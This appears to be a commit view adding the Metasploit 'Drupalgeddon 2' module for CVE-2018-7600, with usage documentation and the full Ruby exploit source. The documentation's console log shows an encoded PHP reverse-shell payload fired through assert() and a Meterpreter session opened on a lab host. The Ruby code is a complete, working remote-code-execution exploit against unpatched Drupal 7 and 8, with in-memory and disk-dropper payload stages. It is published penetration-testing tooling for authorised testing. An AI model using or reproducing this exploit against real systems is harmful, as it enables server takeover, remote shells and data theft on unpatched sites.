Land #9876, Drupalgeddon 2
parent
c23cbde8a1
commit
d340ef2632
|
@ -0,0 +1,110 @@
|
|||
## Intro
|
||||
|
||||
This module exploits a Drupal property injection in the Forms API.
|
||||
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
|
||||
|
||||
## Setup
|
||||
|
||||
Use the provided Docker images here: <https://hub.docker.com/_/drupal/>.
|
||||
|
||||
Alternatively, you may use TurnKey Linux's distributions:
|
||||
|
||||
Drupal 7.54: <http://mirror.turnkeylinux.org/turnkeylinux/images/iso/turnkey-drupal7-14.2-jessie-amd64.iso>
|
||||
Drupal 8.3.1: <http://mirror.turnkeylinux.org/turnkeylinux/images/iso/turnkey-drupal8-14.2-jessie-amd64.iso>
|
||||
|
||||
Tested on 7.57 and 8.4.5 in Docker and 7.54 and 8.3.1 in TurnKey.
|
||||
|
||||
## Targets
|
||||
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic (PHP In-Memory)
|
||||
1 Automatic (PHP Dropper)
|
||||
2 Automatic (Unix In-Memory)
|
||||
3 Automatic (Linux Dropper)
|
||||
4 Drupal 7.x (PHP In-Memory)
|
||||
5 Drupal 7.x (PHP Dropper)
|
||||
6 Drupal 7.x (Unix In-Memory)
|
||||
7 Drupal 7.x (Linux Dropper)
|
||||
8 Drupal 8.x (PHP In-Memory)
|
||||
9 Drupal 8.x (PHP Dropper)
|
||||
10 Drupal 8.x (Unix In-Memory)
|
||||
11 Drupal 8.x (Linux Dropper)
|
||||
```
|
||||
|
||||
Automatic targeting means the Drupal version will be detected first.
|
||||
Targets with a specific version will do as they're told (regardless of
|
||||
what the server is running).
|
||||
|
||||
Dropper targets write to disk. In-memory targets don't. Be mindful of
|
||||
showing up in someone's process list, though. A dropper might be more
|
||||
viable in that regard.
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
Set this to the remote path of the vulnerable Drupal install. Defaults
|
||||
to `/` for the web root.
|
||||
|
||||
**PHP_FUNC**
|
||||
|
||||
Set this to the PHP function you'd like to execute. Defaults to
|
||||
`passthru`.
|
||||
|
||||
**DUMP_OUTPUT**
|
||||
|
||||
Enable this if you'd like to see HTTP responses, including command
|
||||
output. Defaults to `false` unless `cmd/unix/generic` is your payload.
|
||||
|
||||
**VERBOSE**
|
||||
|
||||
Enable this to show what function and command were executed. Defaults to
|
||||
`false` due to the sometimes excessive output.
|
||||
|
||||
**ForceExploit**
|
||||
|
||||
Enable this to force exploitation regardless of the check result.
|
||||
Defaults to `false`, meaning the check result is respected.
|
||||
|
||||
**WritableDir**
|
||||
|
||||
Set this to a writable directory without `noexec` for binary payloads.
|
||||
Defaults to `/tmp`, but other options may include `/var/tmp` and
|
||||
`/dev/shm`.
|
||||
|
||||
## Usage
|
||||
|
||||
Drupal 7.57 from the Docker image is tested below.
|
||||
|
||||
```
|
||||
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
|
||||
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 172.17.0.3
|
||||
rhost => 172.17.0.3
|
||||
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set verbose true
|
||||
verbose => true
|
||||
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > check
|
||||
|
||||
[*] Drupal 7.x targeted at http://172.17.0.3/
|
||||
[+] Drupal appears unpatched in CHANGELOG.txt
|
||||
[*] Executing with printf(): sdHl4fLONOKfVZL1cEvXuJCuSkue
|
||||
[+] 172.17.0.3:80 The target is vulnerable.
|
||||
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.17.0.1:4444
|
||||
[*] Drupal 7.x targeted at http://172.17.0.3/
|
||||
[+] Drupal appears unpatched in CHANGELOG.txt
|
||||
[*] Executing with printf(): paAHBb9jyovEnLrrT5lMIB
|
||||
[*] Executing with assert(): eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE3Mi4xNy4wLjEnOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5s.ZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw));
|
||||
[*] Sending stage (37775 bytes) to 172.17.0.3
|
||||
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.3:46654) at 2018-04-24 23:25:17 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data (33)
|
||||
meterpreter > sysinfo
|
||||
Computer : b3a405d5568a
|
||||
OS : [redacted]
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,455 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
# XXX: CmdStager can't handle badchars
|
||||
include Msf::Exploit::PhpEXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a Drupal property injection in the Forms API.
|
||||
|
||||
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
|
||||
|
||||
Tested on 7.57 and 8.4.5.
|
||||
},
|
||||
'Author' => [
|
||||
'Jasper Mattsson', # Vulnerability discovery
|
||||
'a2u', # Proof of concept (Drupal 8.x)
|
||||
'Nixawk', # Proof of concept (Drupal 8.x)
|
||||
'FireFart', # Proof of concept (Drupal 7.x)
|
||||
'wvu' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2018-7600'],
|
||||
['URL', 'https://www.drupal.org/sa-core-2018-002'],
|
||||
['URL', 'https://greysec.net/showthread.php?tid=2912'],
|
||||
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
|
||||
['URL', 'https://github.com/a2u/CVE-2018-7600'],
|
||||
['URL', 'https://github.com/nixawk/labs/issues/19'],
|
||||
['URL', 'https://github.com/FireFart/CVE-2018-7600'],
|
||||
['AKA', 'SA-CORE-2018-002'],
|
||||
['AKA', 'Drupalgeddon 2']
|
||||
],
|
||||
'DisclosureDate' => 'Mar 28 2018',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['php', 'unix', 'linux'],
|
||||
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Privileged' => false,
|
||||
'Payload' => {'BadChars' => '&>\''},
|
||||
# XXX: Using "x" in Gem::Version::new isn't technically appropriate
|
||||
'Targets' => [
|
||||
#
|
||||
# Automatic targets (PHP, cmd/unix, native)
|
||||
#
|
||||
['Automatic (PHP In-Memory)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Type' => :php_memory
|
||||
],
|
||||
['Automatic (PHP Dropper)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Type' => :php_dropper
|
||||
],
|
||||
['Automatic (Unix In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory
|
||||
],
|
||||
['Automatic (Linux Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper
|
||||
],
|
||||
#
|
||||
# Drupal 7.x targets (PHP, cmd/unix, native)
|
||||
#
|
||||
['Drupal 7.x (PHP In-Memory)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('7.x'),
|
||||
'Type' => :php_memory
|
||||
],
|
||||
['Drupal 7.x (PHP Dropper)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('7.x'),
|
||||
'Type' => :php_dropper
|
||||
],
|
||||
['Drupal 7.x (Unix In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Version' => Gem::Version.new('7.x'),
|
||||
'Type' => :unix_memory
|
||||
],
|
||||
['Drupal 7.x (Linux Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Version' => Gem::Version.new('7.x'),
|
||||
'Type' => :linux_dropper
|
||||
],
|
||||
#
|
||||
# Drupal 8.x targets (PHP, cmd/unix, native)
|
||||
#
|
||||
['Drupal 8.x (PHP In-Memory)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('8.x'),
|
||||
'Type' => :php_memory
|
||||
],
|
||||
['Drupal 8.x (PHP Dropper)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('8.x'),
|
||||
'Type' => :php_dropper
|
||||
],
|
||||
['Drupal 8.x (Unix In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Version' => Gem::Version.new('8.x'),
|
||||
'Type' => :unix_memory
|
||||
],
|
||||
['Drupal 8.x (Linux Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Version' => Gem::Version.new('8.x'),
|
||||
'Type' => :linux_dropper
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
|
||||
'DefaultOptions' => {'WfsDelay' => 2}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
|
||||
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
|
||||
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
checkcode = CheckCode::Safe
|
||||
|
||||
if drupal_version
|
||||
print_status("Drupal #{@version} targeted at #{full_uri}")
|
||||
checkcode = CheckCode::Detected
|
||||
else
|
||||
print_error('Could not determine Drupal version to target')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if drupal_unpatched?
|
||||
print_good('Drupal appears unpatched in CHANGELOG.txt')
|
||||
checkcode = CheckCode::Appears
|
||||
end
|
||||
|
||||
token = random_crap
|
||||
res = execute_command(token, func: 'printf')
|
||||
|
||||
if res && res.body.start_with?(token)
|
||||
checkcode = CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
checkcode
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
|
||||
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
|
||||
end
|
||||
|
||||
if datastore['PAYLOAD'] == 'cmd/unix/generic'
|
||||
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
|
||||
# XXX: Naughty datastore modification
|
||||
datastore['DUMP_OUTPUT'] = true
|
||||
end
|
||||
|
||||
# NOTE: assert() is attempted first, then PHP_FUNC if that fails
|
||||
case target['Type']
|
||||
when :php_memory
|
||||
execute_command(payload.encoded, func: 'assert')
|
||||
|
||||
sleep(wfs_delay)
|
||||
return if session_created?
|
||||
|
||||
# XXX: This will spawn a *very* obvious process
|
||||
execute_command("php -r '#{payload.encoded}'")
|
||||
when :unix_memory
|
||||
execute_command(payload.encoded)
|
||||
when :php_dropper, :linux_dropper
|
||||
dropper_assert
|
||||
|
||||
sleep(wfs_delay)
|
||||
return if session_created?
|
||||
|
||||
dropper_exec
|
||||
end
|
||||
end
|
||||
|
||||
# XXX: Ivars are being preserved
|
||||
def cleanup
|
||||
begin
|
||||
remove_instance_variable(:@version)
|
||||
rescue NameError
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def dropper_assert
|
||||
php_file = Pathname.new(
|
||||
"#{datastore['WritableDir']}/#{random_crap}.php"
|
||||
).cleanpath
|
||||
|
||||
# Return the PHP payload or a PHP binary dropper
|
||||
dropper = get_write_exec_payload(
|
||||
writable_path: datastore['WritableDir'],
|
||||
unlink_self: true # Worth a shot
|
||||
)
|
||||
|
||||
# Encode away potential badchars with Base64
|
||||
dropper = Rex::Text.encode_base64(dropper)
|
||||
|
||||
# Stage 1 decodes the PHP and writes it to disk
|
||||
stage1 = %Q{
|
||||
file_put_contents("#{php_file}", base64_decode("#{dropper}"));
|
||||
}
|
||||
|
||||
# Stage 2 executes said PHP in-process
|
||||
stage2 = %Q{
|
||||
include_once("#{php_file}");
|
||||
}
|
||||
|
||||
# :unlink_self may not work, so let's make sure
|
||||
register_file_for_cleanup(php_file)
|
||||
|
||||
# Hopefully pop our shell with assert()
|
||||
execute_command(stage1.strip, func: 'assert')
|
||||
execute_command(stage2.strip, func: 'assert')
|
||||
end
|
||||
|
||||
def dropper_exec
|
||||
php_file = "#{random_crap}.php"
|
||||
tmp_file = Pathname.new(
|
||||
"#{datastore['WritableDir']}/#{php_file}"
|
||||
).cleanpath
|
||||
|
||||
# Return the PHP payload or a PHP binary dropper
|
||||
dropper = get_write_exec_payload(
|
||||
writable_path: datastore['WritableDir'],
|
||||
unlink_self: true # Worth a shot
|
||||
)
|
||||
|
||||
# Encode away potential badchars with Base64
|
||||
dropper = Rex::Text.encode_base64(dropper)
|
||||
|
||||
# :unlink_self may not work, so let's make sure
|
||||
register_file_for_cleanup(php_file)
|
||||
|
||||
# Write the payload or dropper to disk (!)
|
||||
# NOTE: Analysis indicates > is a badchar for 8.x
|
||||
execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
|
||||
|
||||
# Attempt in-process execution of our PHP script
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, php_file)
|
||||
)
|
||||
|
||||
sleep(wfs_delay)
|
||||
return if session_created?
|
||||
|
||||
# Try to get a shell with PHP CLI
|
||||
execute_command("php #{php_file}")
|
||||
|
||||
sleep(wfs_delay)
|
||||
return if session_created?
|
||||
|
||||
register_file_for_cleanup(tmp_file)
|
||||
|
||||
# Fall back on our temp file
|
||||
execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
|
||||
execute_command("php #{tmp_file}")
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
|
||||
|
||||
vprint_status("Executing with #{func}(): #{cmd}")
|
||||
|
||||
res =
|
||||
case @version.to_s
|
||||
when '7.x'
|
||||
exploit_drupal7(func, cmd)
|
||||
when '8.x'
|
||||
exploit_drupal8(func, cmd)
|
||||
end
|
||||
|
||||
if res && res.code != 200
|
||||
print_error("Unexpected reply: #{res.inspect}")
|
||||
return
|
||||
end
|
||||
|
||||
if res && datastore['DUMP_OUTPUT']
|
||||
print_line(res.body)
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def drupal_version
|
||||
if target['Version']
|
||||
@version = target['Version']
|
||||
return @version
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.path
|
||||
)
|
||||
|
||||
return unless res && res.code == 200
|
||||
|
||||
# Check for an X-Generator header
|
||||
@version =
|
||||
case res.headers['X-Generator']
|
||||
when /Drupal 7/
|
||||
Gem::Version.new('7.x')
|
||||
when /Drupal 8/
|
||||
Gem::Version.new('8.x')
|
||||
end
|
||||
|
||||
return @version if @version
|
||||
|
||||
# Check for a <meta> tag
|
||||
generator = res.get_html_document.at(
|
||||
'//meta[@name = "Generator"]/@content'
|
||||
)
|
||||
|
||||
return unless generator
|
||||
|
||||
@version =
|
||||
case generator.value
|
||||
when /Drupal 7/
|
||||
Gem::Version.new('7.x')
|
||||
when /Drupal 8/
|
||||
Gem::Version.new('8.x')
|
||||
end
|
||||
end
|
||||
|
||||
def drupal_unpatched?
|
||||
unpatched = true
|
||||
|
||||
# Check for patch level in CHANGELOG.txt
|
||||
uri =
|
||||
case @version.to_s
|
||||
when '7.x'
|
||||
normalize_uri(target_uri.path, 'CHANGELOG.txt')
|
||||
when '8.x'
|
||||
normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
)
|
||||
|
||||
return unless res && res.code == 200
|
||||
|
||||
if res.body.include?('SA-CORE-2018-002')
|
||||
unpatched = false
|
||||
end
|
||||
|
||||
unpatched
|
||||
end
|
||||
|
||||
def exploit_drupal7(func, code)
|
||||
vars_get = {
|
||||
'q' => 'user/password',
|
||||
'name[#post_render][]' => func,
|
||||
'name[#markup]' => code,
|
||||
'name[#type]' => 'markup'
|
||||
}
|
||||
|
||||
vars_post = {
|
||||
'form_id' => 'user_pass',
|
||||
'_triggering_element_name' => 'name'
|
||||
}
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => target_uri.path,
|
||||
'vars_get' => vars_get,
|
||||
'vars_post' => vars_post
|
||||
)
|
||||
|
||||
return res unless res && res.code == 200
|
||||
|
||||
form_build_id = res.get_html_document.at(
|
||||
'//input[@name = "form_build_id"]/@value'
|
||||
)
|
||||
|
||||
return res unless form_build_id
|
||||
|
||||
vars_get = {
|
||||
'q' => "file/ajax/name/#value/#{form_build_id.value}"
|
||||
}
|
||||
|
||||
vars_post = {
|
||||
'form_build_id' => form_build_id.value
|
||||
}
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => target_uri.path,
|
||||
'vars_get' => vars_get,
|
||||
'vars_post' => vars_post
|
||||
)
|
||||
end
|
||||
|
||||
def exploit_drupal8(func, code)
|
||||
# Clean URLs are enabled by default and "can't" be disabled
|
||||
uri = normalize_uri(target_uri.path, 'user/register')
|
||||
|
||||
vars_get = {
|
||||
'element_parents' => 'account/mail/#value',
|
||||
'ajax_form' => 1,
|
||||
'_wrapper_format' => 'drupal_ajax'
|
||||
}
|
||||
|
||||
vars_post = {
|
||||
'form_id' => 'user_register_form',
|
||||
'_drupal_ajax' => 1,
|
||||
'mail[#type]' => 'markup',
|
||||
'mail[#post_render][]' => func,
|
||||
'mail[#markup]' => code
|
||||
}
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'vars_get' => vars_get,
|
||||
'vars_post' => vars_post
|
||||
)
|
||||
end
|
||||
|
||||
def random_crap
|
||||
Rex::Text.rand_text_alphanumeric(8..42)
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue